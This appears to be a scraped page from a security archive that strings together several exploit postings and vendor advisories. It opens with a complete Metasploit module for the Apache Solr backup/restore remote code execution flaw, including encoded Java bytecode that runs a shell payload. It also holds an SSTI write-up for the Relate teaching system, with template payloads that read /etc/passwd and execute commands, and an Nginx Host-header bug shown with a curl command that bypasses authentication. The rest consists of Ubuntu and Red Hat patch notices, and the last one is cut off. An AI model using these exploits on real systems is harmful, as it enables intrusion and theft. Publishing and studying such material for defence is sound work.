Apache Solr versions 6.0.0 through 8.11.2 and versions 9.0.0 up to 9.4.1 are affected by an unrestricted file upload vulnerability which can result in remote code execution in the context of the user running Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load some classes from it. The backup function of the Collection can export malicious class files uploaded by attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Java  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HTTP::ApacheSolr  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Apache Solr Backup/Restore APIs RCE',        'Description' => %q{          Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File          with Dangerous Type vulnerability which can result in remote code execution in the context of the user running          Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load          some classes from it. The backup function of the Collection can export malicious class files uploaded by          attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution          can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.        },        'Author' => [          'l3yx', # discovery          'jheysel-r7' # module        ],        'References' => [          [ 'URL', 'https://xz.aliyun.com/t/13637?time__1311=mqmxnQ0QiQi%3DDtKDsD7md0%3DnxeqjghDMxTD'],          [ 'URL', 'https://github.com/rapid7/metasploit-framework/issues/18919'],          [ 'URL', 'https://github.com/vvmdx/Apache-Solr-RCE_CVE-2023-50386_POC'],          [ 'CVE', '2023-50386']        ],        'License' => MSF_LICENSE,        'Platform' => %w[unix linux],        'Privileged' => false,        'Arch' => [ ARCH_CMD ],        'Targets' => [          [            'Unix Command',            {              'Platform' => %w[unix linux],              'Arch' => ARCH_CMD            }          ]        ],        'Payload' => {          'BadChars' => "\x20"        },        'DefaultTarget' => 0,        'DefaultOptions' => {          'FETCH_WRITABLE_DIR' => '/tmp/'        },        'DisclosureDate' => '2024-02-24',        'Notes' => {          'Stability' => [ CRASH_SAFE, ],          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES],          'Reliability' => [ REPEATABLE_SESSION, ]        }      )    )    register_options(      [        Opt::RPORT(8983),        OptString.new('USERNAME', [false, 'Solr username', 'solr']),        OptString.new('PASSWORD', [false, 'Solr password']),        OptString.new('TARGETURI', [false, 'Path to Solr', 'solr']),      ]    )  end  # If authentication is used  @auth_string = ''  def check    print_status('Running check method')    auth_res = solr_check_auth    unless auth_res      return CheckCode::Unknown('Authentication failed!')    end    # convert to JSON    ver_json = auth_res.get_json_document    # get Solr version    solr_version = Rex::Version.new(ver_json['lucene']['solr-spec-version'])    print_status("Found Apache Solr #{solr_version}")    # get OS version details    @target_platform = ver_json['system']['name']    target_arch = ver_json['system']['arch']    target_osver = ver_json['system']['version']    print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")    unless solr_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('8.11.2')) ||           solr_version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.4.0'))      return CheckCode::Safe('Running version of Solr is not vulnerable!')    end    CheckCode::Appears("Found Apache Solr version: #{ver_json['lucene']['solr-spec-version']}")  end  # This method returns the compiled byte code of the following class, SourceParser.java:  #  # package zk_backup_0.configs.confname;  #  # import sun.misc.Unsafe;  # import java.io.BufferedReader;  # import java.io.File;  # import java.io.FileOutputStream;  # import java.io.InputStreamReader;  # import java.lang.reflect.Field;  # import java.lang.reflect.Method;  # import java.security.ProtectionDomain;  # import java.util.Map;  #  #  # public class SourceParser {  #  #     static {  #         try {  #             Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");  #             unsafeField.setAccessible(true);  #             Unsafe unsafe = (Unsafe) unsafeField.get(null);  #             Module module = Object.class.getModule();  #             Class<?> currentClass = SourceParser.class;  #             long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));  #             unsafe.getAndSetObject(currentClass, addr, module);  #  #             String[] cmd = {"bash", "-c", "METASPLOIT_PAYLOAD" };  #             Class clz = Class.forName("java.lang.ProcessImpl");  #             Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);  #             method.setAccessible(true);  #             Process process = (Process) method.invoke(clz, cmd, null, null, null, false);  #         } catch (Exception e) {  #             e.printStackTrace();  #         }  #     }  # }  def go_go_gadget(configuration1_name)    gadget = ''    gadget << 'yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW'    gadget << 'BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv'    gadget << 'bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh'    gadget << 'L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll'    gadget << 'bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P'    gadget << 'YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh'    gadget << 'L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy'    gadget << 'c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh'    gadget << 'bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv'    gadget << 'bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq'    gadget << 'YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE'    gadget << 'CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv'    gadget << 'bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu'    gadget << 'Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls'    gadget << 'ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGVhbgEABFRZUEUBABFM'    gadget << 'amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s'    gadget << 'YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK'    gadget << 'AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW'    gadget << 'KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P'    gadget << 'YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh'    gadget << 'bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj'    gadget << 'a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs'    gadget << 'ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph'    gadget << 'dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp'    gadget << 'bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA'    gadget << 'AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM'    gadget << 'EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1'    gadget << 'OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD'    gadget << 'GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC'    gadget << 'ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA'    gadget << 'HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk='    gadget = Rex::Text.decode_base64(gadget)    # Replace 'confname' with our randomized 8 character configuration name    gadget.sub!('confname', configuration1_name)    # Replace the placeholder payload with our packed payload which is prefixed with it's size.    gadget.sub!("\x00\x12METASPLOIT_PAYLOAD", packed_payload(payload.encoded))  end  def packed_payload(pload)    "#{[pload.length].pack('n')}#{pload}"  end  def create_zip    zip_file = Rex::Zip::Archive.new    directory_to_zip = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'conf')    Dir.glob(File.join(directory_to_zip, '**', '*')).each do |file_path|      if File.file?(file_path)        relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path        file_contents = File.read(file_path)        zip_file.add_file(relative_path, file_contents)      elsif File.directory?(file_path)        relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path        zip_file.add_file(relative_path, nil, recursive: true)      end    end    zip_file  end  def upload_conf(file_name, zip_archive, conf_name)    mime = Rex::MIME::Message.new    mime.add_part(zip_archive, 'application/octet-stream', 'binary', "form-data; filename=\"#{file_name}\"")    res = solr_post({      'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),      'method' => 'POST',      'ctype' => 'application/octet-stream',      'data' => zip_archive,      'auth' => @auth_string,      'vars_get' => {        'action' => 'UPLOAD',        'name' => conf_name      }    })    fail_with(Failure::UnexpectedReply, 'No response from the target') unless res    fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200    data = res.get_json_document    if data.dig('responseHeader', 'status') == 0      print_good('Uploaded configuration successfully')    elsif data.dig('error', 'msg')      fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")    else      fail_with(Failure::UnexpectedReply, "Failed to upload configuration: #{conf_name} to the target")    end    res  end  def create_collection(collection_name, configuration_name)    solr_get({      'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),      'method' => 'GET',      'auth' => @auth_string,      'vars_get' => {        'action' => 'CREATE',        'name' => collection_name,        'numShards' => 1,        'replicationFactor' => 1,        'wt' => 'json',        'collection.configName' => configuration_name      }    })  end  def backup_collection(collection_name, location, backup_name)    res = solr_get({      'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),      'method' => 'GET',      'auth' => @auth_string,      'vars_get' => {        'action' => 'BACKUP',        'collection' => collection_name,        'location' => location,        'name' => backup_name      }    })    fail_with(Failure::UnexpectedReply, 'No response from the target') unless res    data = res.get_json_document    if data.dig('responseHeader', 'status') == 0      print_good('Backed up collection successfully')    elsif data.dig('error', 'msg')      fail_with(Failure::UnexpectedReply, "Failed to Backup configuration. Target responded with error: #{data['error']['msg']}")    else      fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")    end    res  end  def cleanup    print_status('Cleaning up...')    # Clean up collections and configurations    # Delete the collection first then the configs or you'll get the following error:    # "Can not delete ConfigSet as it is currently being used by collection [PchuSaNJ]"    if @collection_res&.code == 200      delete_collection_res = solr_get({        'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),        'method' => 'GET',        'auth' => @auth_string,        'vars_get' => {          'action' => 'DELETE',          'name' => @collection1_name        }      })      print_error("Unable to delete collection: #{@collection1_name}") unless delete_collection_res&.code == 200    end    if @conf1_res&.code == 200      delete_conf1_res = solr_get({        'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),        'method' => 'GET',        'auth' => @auth_string,        'vars_get' => {          'action' => 'DELETE',          'name' => @configuration1_name        }      })      print_error("Unable to delete config: #{@configuration1_name}") unless delete_conf1_res&.code == 200    end    if @conf2_res&.code == 200      delete_conf2_res = solr_get({        'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),        'method' => 'GET',        'auth' => @auth_string,        'vars_get' => {          'action' => 'DELETE',          'name' => @configuration2_name        }      })      print_error("Unable to delete config: #{@configuration2_name}") unless delete_conf2_res&.code == 200    end  end  def exploit    @collection1_name = Rex::Text.rand_text_alpha(8)    @configuration1_name = Rex::Text.rand_text_alpha_lower(8)    @collection2_name = Rex::Text.rand_text_alpha(8)    # Zip up conf1    conf1_zip = create_zip    conf1_zip.add_file('SourceParser.class', go_go_gadget(@configuration1_name))    conf1_zip.add_file('solrconfig.xml', File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml')))    # Upload conf1    @conf1_res = upload_conf(@configuration1_name + '.zip', conf1_zip.pack, @configuration1_name)    # Create collection from conf1    @collection_res = create_collection(@collection1_name, @configuration1_name)    fail_with(Failure::UnexpectedReply, 'No response from the target') unless @collection_res    data = @collection_res.get_json_document    if @collection_res.code == 200 && data['responseHeader']['status'] == 0      vprint_good('Created collection successfully')    elsif data['error']['msg']      fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")    else      fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")    end    # Backup collection and export conf1    location = '/var/solr/data/'    backup_name = "#{@collection2_name}_shard1_replica_n1"    backup_collection(@collection1_name, location, backup_name)    # Now you need to export it again through the backup and interface `collection1` note the changes in `location` and `name`:    location = "/var/solr/data/#{backup_name}"    backup_name = 'lib'    backup_collection(@collection1_name, location, backup_name)    # Zip up conf2    conf2_zip = create_zip    editted_solrconfig = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml'))    editted_solrconfig = editted_solrconfig.gsub('</config>', "     <valueSourceParser name=\"myfunc\" class=\"zk_backup_0.configs.#{@configuration1_name}.SourceParser\" />\n</config>")    conf2_zip.add_file('solrconfig.xml', editted_solrconfig)    # Upload conf2    @configuration2_name = Rex::Text.rand_text_alpha(8)    @conf2_res = upload_conf('conf2.zip', conf2_zip.pack, @configuration2_name)    # Attempt to create a collection from conf2 which will load the SourceParser.class we uploaded as a port of the    # first conf1 which will then cause an error as it executes our malicious class (the collection does not get created)    res = create_collection(@collection2_name, @configuration2_name)    fail_with(Failure::UnexpectedReply, 'No response from the target') unless res    data = res&.get_json_document    if res.code == 400 && data['error']['msg'] == "Underlying core creation failed while creating collection: #{@collection2_name}"      print_good('Successfully dropped the payload')    else      fail_with(Failure::UnexpectedReply, "Failed to create collection: #{@configuration2_name} successfully")    end  endend

Apache Solr Backup/Restore API Remote Code Execution

Ubuntu Security Notice 6742-2 - Daniele Antonioli discovered that the Secure Simple Pairing and Secure Connections pairing in the Bluetooth protocol could allow an unauthenticated user to complete authentication without pairing credentials. A physically proximate attacker placed between two Bluetooth devices could use this to subsequently impersonate one of the paired devices. Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system.

    ==========================================================================Ubuntu Security Notice USN-6742-2April 23, 2024linux-azure, linux-lowlatency, linux-nvidia vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 22.04 LTSSummary:Several security issues were fixed in the Linux kernel.Software Description:- linux-azure: Linux kernel for Microsoft Azure Cloud systems- linux-lowlatency: Linux low latency kernel- linux-nvidia: Linux kernel for NVIDIA systemsDetails:Daniele Antonioli discovered that the Secure Simple Pairing and SecureConnections pairing in the Bluetooth protocol could allow anunauthenticated user to complete authentication without pairingcredentials. A physically proximate attacker placed between two Bluetoothdevices could use this to subsequently impersonate one of the paireddevices. (CVE-2023-24023)Several security issues were discovered in the Linux kernel.An attacker could possibly use these to compromise the system.This update corrects flaws in the following subsystems:   - JFS file system;   - Netfilter;(CVE-2024-26581, CVE-2023-52600, CVE-2023-52603)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 22.04 LTS:   linux-image-5.15.0-105-lowlatency  5.15.0-105.115   linux-image-5.15.0-105-lowlatency-64k  5.15.0-105.115   linux-image-5.15.0-1053-nvidia  5.15.0-1053.54   linux-image-5.15.0-1053-nvidia-lowlatency  5.15.0-1053.54   linux-image-5.15.0-1061-azure   5.15.0-1061.70   linux-image-azure-lts-22.04     5.15.0.1061.59   linux-image-lowlatency          5.15.0.105.100   linux-image-lowlatency-64k      5.15.0.105.100   linux-image-nvidia              5.15.0.1053.53   linux-image-nvidia-lowlatency   5.15.0.1053.53After a standard system update you need to reboot your computer to makeall the necessary changes.ATTENTION: Due to an unavoidable ABI change the kernel updates havebeen given a new version number, which requires you to recompile andreinstall all third party kernel modules you might have installed.Unless you manually uninstalled the standard kernel metapackages(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,linux-powerpc), a standard system upgrade will automatically performthis as well.References:   https://ubuntu.com/security/notices/USN-6742-2   https://ubuntu.com/security/notices/USN-6742-1   CVE-2023-24023, CVE-2023-52600, CVE-2023-52603, CVE-2024-26581Package Information:   https://launchpad.net/ubuntu/+source/linux-azure/5.15.0-1061.70   https://launchpad.net/ubuntu/+source/linux-lowlatency/5.15.0-105.115   https://launchpad.net/ubuntu/+source/linux-nvidia/5.15.0-1053.54

Ubuntu Security Notice USN-6742-2

Relate Learning and Teaching System versions prior to 2024.1 suffers from a server-side template injection vulnerability that leads to remote code execution. This particular finding targets the Batch-Issue Exam Tickets function.

    # Exploit Title: Relate Learning And Teaching system Version before 2024.1 SSTI(Batch-Issue Exam Tickets function) lead to RCE# Date: 24/04/2024# Exploit Author: kai6u# Vendor Homepage: https://github.com/inducer/# Software Link: https://github.com/inducer/relate# Affected Version:before 2024.1 (https://github.com/inducer/relate/commit/2fdbd4480a2d0a45c746639be244a61a0d4112b6)# Fixed Version:2024.1 (https://github.com/inducer/relate/commit/d9fa7dcb84b8e5a64ce78ced4f56cdd61c0d59aa)# Tested on: Ubuntu 22.04# Summary:SSTI in Batch-Issue Exam Tickets function of Relate Learning And Teaching system# Description:* 【Prerequisite】 * The attacker has stolen the privilege to issue exam tickets. For example, attacker is logged in as an course administrator.* SSTI is in the `Batch-Issue Exam Tickets` feature, which allows user to specify the format in which tickets are distributed and uses a Django (Jinja2) template internally.1) First, the attacker uses the Ticket Format feature to plant the following payload. * Payload: * `{{ 'abc'.__class__.__base__.__subclasses__()[111].__subclasses__()[0].__subclasses__()[0]('/etc/passwd').read() }}` * Note that the subclasses index number in the payload depends on the python version, so it must be changed depending on the environment.2) Click an Issue Ticket including the above payload.* Then you will see that the contents of the `/etc/passwd` file are output at the after Ticket Code block.3) Next, the attacker modifies the above payload to execute arbitrary commands by changing the subclasses index number to the number of popen. * Payload: * `{{ 'abc'.__class__.__base__.__subclasses__()[210]('whoami',shell=True,stdout=-1).communicate()[0].strip() }}`4) Click an Issue Ticket including the above payload.* If you check the results, you will see that `ubuntu` is displayed, which is the result of executing the whoami command.* An attacker can use this feature to execute reverse shell.# Referenceshttps://book.hacktricks.xyz/v/jp/pentesting-web/ssti-server-side-template-injection

Relate Learning And Teaching System SSTI / Remote Code Execution

Nginx versions 1.25.5 and below appear to have a host header filtering validation bug that could possibly be used for malice.

    # Nginx =< 1.25.5 $host variable validation bug## Intro:In the "Host" header sent to Nginx web server you can't just insert a dot or something like that, because a filtering rules exists there. The ngx_http_validate_host function is responsible for filtering (https://github.com/nginx/nginx/blob/master/src/http/ngx_http_request.c#L2145).## What it validates:+ ﻿﻿two dots in a row are not allowed+ colon and everything after it are stripped off+ ﻿﻿if "Host" header starts with "[", then after "]" everything is deleted+ ﻿﻿path separators are not allowed+ ﻿﻿cannot send chars ≤ 0x20 and == 0x7f+ ﻿﻿if there is a dot at the end, it is removed+ ﻿﻿if after all deletions the host length is zero, error occurs## The bug itself: dot_pos can be greater than host_len, if the last dot is included in the strip, then the last unstripped character (first dot in this case) is not deleted.So, if "Host" header payload is .:. , the colon and dot after it are stripped, but the first dot remains untouched and Nginx $host variable now contains only single dot character, what can't be done in the normal conditions.## Vulnerable Nginx server configuration example:server { root /sites/$host; index index.html; server_name _; location / { try_files $uri $uri/ =404; }}server { server_name ""; location / { return 418 "I'm a teapot."; }}server { root /sites/protected-host.example.com; index flag.html; server_name protected-host.example.com; auth_basic "Protected File Storage"; auth_basic_user_file /.htpasswd; location / { try_files $uri $uri/ =404; }}## Exploit (unauthorized access to password-protected host in this case):curl -H "Host: .:." http://protected-host.example.com/protected-host.example.com/flag.htmlP.S.The bug was sent to security-alert@nginx.org, but the Nginx dev team said that ngx_http_validate_host function is a filter against fools and not a security bug at all, so it was decided to make it as a task on CTF Tinkoff contest.

Nginx 1.25.5 Host Header Validation

Red Hat Security Advisory 2024-2033-03 - An update for libreswan is now available for Red Hat Enterprise Linux 9.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_2033.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: libreswan security and bug fix updateAdvisory ID:        RHSA-2024:2033-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:2033Issue date:         2024-04-24Revision:           03CVE Names:          CVE-2024-2357====================================================================Summary: An update for libreswan is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Libreswan is an implementation of IPsec and IKE for Linux. IPsec is the Internet Protocol Security and uses strong cryptography to provide both authentication and encryption services. These services allow you to build secure tunnels through untrusted networks such as virtual private network (VPN).Security Fix(es):* libreswan: Missing PreSharedKey for connection can cause crash (CVE-2024-2357)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-2357References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2268952

Red Hat Security Advisory 2024-2033-03

Red Hat Security Advisory 2024-2004-03 - An update for kernel is now available for Red Hat Enterprise Linux 7. Issues addressed include null pointer and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_2004.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: kernel security and bug fix update  
Advisory ID:        RHSA-2024:2004-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:2004  
Issue date:         2024-04-23  
Revision:           03  
CVE Names:          CVE-2020-36558  
====================================================================

Summary: 

An update for kernel is now available for Red Hat Enterprise Linux 7.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security fixes:

* kernel: use after free in unix_stream_sendpage (CVE-2023-4622)

* Kernel: bluetooth: Unauthorized management command execution (CVE-2023-2002)

* kernel: irdma: Improper access control (CVE-2023-25775)

* kernel: net/sched: sch_hfsc UAF (CVE-2023-4623)

* kernel: race condition in VT_RESIZEX ioctl when vc_cons[i].d is already NULL leading to NULL pointer dereference (CVE-2020-36558)

This update also fixes the following bugs:

* NFS client closes active connection (RHEL-22193)

* kernel panic at __list_del_entry from smb2_reconnect_server (RHEL-26301)

* kernel: race condition when call to VT_RESIZEX ioctl and vc_cons[i].d is already NULL, causing a NULL pointer dereference. (RHEL-28639)

* kernel: net/sched: sch_hfsc UAF (RHEL-16458)

* kernel: irdma: Improper access control (RHEL-6299)

* The message in RHEL 7 ?stack-protector: Kernel stack is corrupted in:? is triggered because perf_trace_buf_prepare() does not verify that per_cpu array perf_trace_buf has allocated per_cpu buffers in it. (RHEL-18052)

* [rhel7] gfs2: Invalid metadata access in punch_hole (RHEL-28785)

* UDP packets dropped due to SELinux denial (RHEL-27751)

* Boot fails with kernel panic at acpi_device_hid+0x6 (RHEL-8721)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2020-36558

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2112693  
https://bugzilla.redhat.com/show_bug.cgi?id=2187308  
https://bugzilla.redhat.com/show_bug.cgi?id=2231410  
https://bugzilla.redhat.com/show_bug.cgi?id=2237757  
https://bugzilla.redhat.com/show_bug.cgi?id=2237760

Red Hat Security Advisory 2024-2004-03

Red Hat Security Advisory 2024-2003-03 - An update for kernel-rt is now available for Red Hat Enterprise Linux 7. Issues addressed include null pointer and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_2003.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: kernel-rt security update  
Advisory ID:        RHSA-2024:2003-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:2003  
Issue date:         2024-04-23  
Revision:           03  
CVE Names:          CVE-2020-36558  
====================================================================

Summary: 

An update for kernel-rt is now available for Red Hat Enterprise Linux 7.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The kernel-rt packages provide the Real Time Linux Kernel, which enables fine-tuning for systems with extremely high determinism requirements.

Security Fix(es):

* kernel: use after free in unix_stream_sendpage (CVE-2023-4622)

* kernel: race condition in VT_RESIZEX ioctl when vc_cons[i].d is already NULL leading to NULL pointer dereference (CVE-2020-36558)

* kernel: bluetooth: Unauthorized management command execution (CVE-2023-2002)

* kernel: net/sched: sch_hfsc UAF (CVE-2023-4623)

* kernel: irdma: Improper access control (CVE-2023-25775)

Bug Fix(es):

* kernel-rt: Update RT source tree to the latest RHEL-7.9z30 batch [rhel-7.9.z] (JIRA:RHEL-26440)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2020-36558

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2112693  
https://bugzilla.redhat.com/show_bug.cgi?id=2187308  
https://bugzilla.redhat.com/show_bug.cgi?id=2231410  
https://bugzilla.redhat.com/show_bug.cgi?id=2237757  
https://bugzilla.redhat.com/show_bug.cgi?id=2237760

Red Hat Security Advisory 2024-2003-03

Red Hat Security Advisory 2024-1998-03 - An update for libreswan is available for Red Hat Enterprise Linux 8.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1998.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: libreswan security updateAdvisory ID:        RHSA-2024:1998-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1998Issue date:         2024-04-23Revision:           03CVE Names:          CVE-2024-2357====================================================================Summary: An update for libreswan is available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Libreswan is an implementation of IPsec and IKE for Linux. IPsec is the Internet Protocol Security and uses strong cryptography to provide both authentication and encryption services. These services allow you to build secure tunnels through untrusted networks such as virtual private network (VPN).Security 